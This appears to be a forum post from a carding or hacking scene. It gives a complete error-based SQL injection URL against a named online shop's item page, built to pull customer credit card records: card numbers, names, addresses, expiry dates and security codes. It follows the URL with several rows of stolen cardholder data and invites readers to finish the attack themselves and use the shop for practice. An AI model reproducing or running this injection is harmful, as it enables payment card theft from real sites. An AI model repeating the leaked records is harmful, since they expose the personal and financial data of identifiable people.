the query will be like this:
1 http://www.aemart.com/item.cfm?itemid=convert(int,(select%20top%201%20%2bchar(32)%2bchar(124)%2bchar(32)%2bconvert(varchar,isnull(convert(varchar,A.ccid),char(32)))%2bchar(32)%2bchar(124)%2bchar(32)%2bconvert(varchar,isnull(convert(varchar,A.custid),char(32)))%2bchar(32)%2bchar(124)%2bchar(32)%2bconvert(varchar,isnull(convert(varchar,A.cname),char(32)))%2bchar(32)%2bchar(124)%2bchar(32)%2bconvert(varchar,isnull(convert(varchar,A.cnum),char(32)))%2bchar(32)%2bchar(124)%2bchar(32)%2bconvert(varchar,isnull(convert(varchar,A.caddr),char(32)))%2bchar(32)%2bchar(124)%2bchar(32)%2bconvert(varchar,isnull(convert(varchar,A.czip),char(32)))%2bchar(32)%2bchar(124)%2bchar(32)%2bconvert(varchar,isnull(convert(varchar,A.cexpm),char(32)))%2bchar(32)%2bchar(124)%2bchar(32)%2bconvert(varchar,isnull(convert(varchar,A.cexpy),char(32)))%2bchar(32)%2bchar(124)%2bchar(32)%2bconvert(varchar,isnull(convert(varchar,A.ccode),char(32)))%2bchar(32)%2bchar(124)%2bchar(32)%2bconvert(varchar,isnull(convert(varchar,A.del_date),char(32)))%20from%20Credit_Cards%20A%20where%20A.ccid=
u surely can do the rest yourself right? : )
| 73 | 271 | Noble K. Thomas | 44171258279xxxx | 4213 Echohollow Tr. | 73003 | 05 | 09 | 069 | Oct 29 2006 6:32PM
| 72 | 304 | william salus | 4828800053581xxxx | p.o box 11744 | 33339 | 06 | 08 | 426 | Jan 1 2050 12:00AM
| 71 | 271 | Noble K Thomas | 44171258279xxxxx | 4213 Echohollow Trail | 73003 | 05 | 06 | 368 | Apr 5 2006 2:10PM
| 70 | 15 | Dan Bayless | 43118337200xxxx | 159 Lloyd Ave. | 41042 | 05 | 08 | 321 | Jan 1 2050 12:00AM
| 69 | 135 | chris radaios | 42642805590xxxx | 798 s.westgate rd. des plaines | 60016 | 05 | 06 | 408 | Jun 21 2004 1:17PM
suggest you find another shop ., this shop can be used to practice only cuz most credit cards are expired =P